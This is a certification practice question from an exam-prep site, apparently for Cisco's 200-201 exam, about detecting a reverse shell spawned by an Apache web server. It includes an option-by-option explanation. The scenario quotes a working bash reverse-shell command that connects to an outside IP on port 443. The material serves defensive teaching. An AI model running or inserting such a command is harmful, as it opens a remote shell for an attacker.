200-201 Security Monitoring Practice Question
An analyst investigates a Linux web server and finds a bash process spawned by the Apache user, with its parent process being httpd. The bash process has an outbound connection to an external IP on port 443, and the server's audit log shows the command 'bash -i >& /dev/tcp/198.51.100.22/443 0>&1'. Which security monitoring technique most reliably detects this specific attack pattern across the environment?
⚠ Common exam trap
The trap here is focusing on the outbound connection to port 443 and building a network signature, when the decisive evidence is the shell process spawned by the web server.
Answer choices
Why each option matters
Answer the question above first, then reveal the full breakdown to understand why each option is right or wrong.
Correct answer & explanation
✓
Endpoint process lineage and command-line monitoring for shell spawning from web server processes
The attack signature is a web server process spawning an interactive shell that opens an outbound connection, captured in the process tree and command line. Endpoint process lineage and command-line monitoring detects this directly and does not depend on the external IP or port. Network signatures, file integrity monitoring, and flow analysis lack the process context needed to reliably isolate this behavior.
Answer analysis
Option-by-option breakdown
For each option: why learners choose it and why it is or isn't the right answer here.
- ✗
NetFlow analysis for long-duration connections from the web server
Why it's wrong here
A reverse shell may be long-lived, but many legitimate web server connections are also long, so duration alone is a weak discriminator. NetFlow also lacks process and command-line context, so it cannot distinguish an interactive shell from a keep-alive session. It might flag the connection for review but would not reliably detect the specific reverse shell pattern.
- ✗
Signature-based network intrusion detection for outbound TLS to port 443
Why it's wrong here
Outbound TLS to port 443 is ubiquitous and benign, so a signature matching only the port and protocol would generate overwhelming false positives. The malicious indicator here is the reverse shell command and its process lineage, not the encrypted transport. Network signatures cannot see inside the TLS session, so they would not reliably isolate this reverse shell from normal HTTPS traffic.
- ✗
File integrity monitoring on the Apache document root directories
Why it's wrong here
File integrity monitoring would detect changes to web content or uploaded web shells, which is useful for initial access, but it does not observe process execution or the outbound reverse shell connection. Once the shell is running, the file system may be unchanged. Therefore it cannot reliably detect this specific post-exploitation behavior.
- ✓
Endpoint process lineage and command-line monitoring for shell spawning from web server processes
Why this is correct
The attack is defined by httpd spawning bash with a reverse shell command line, which endpoint telemetry captures directly. Monitoring process lineage and command-line arguments detects this pattern regardless of the destination IP or port, making it robust against infrastructure changes. This technique also generalizes to similar web shell and reverse shell abuses across the environment.
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JA
Written and reviewed by Johnson Ajibi, MSc IT Security
Senior Network & Security Engineer · founder of Courseiva
Last reviewed September 2026 · checked against the official Cisco exam blueprint
This 200-201 practice question is part of Courseiva's free Cisco certification practice question bank. Courseiva provides original exam-style practice questions with explanations, topic-based practice, mock exams, readiness tracking, and study analytics to help learners prepare for the 200-201 exam.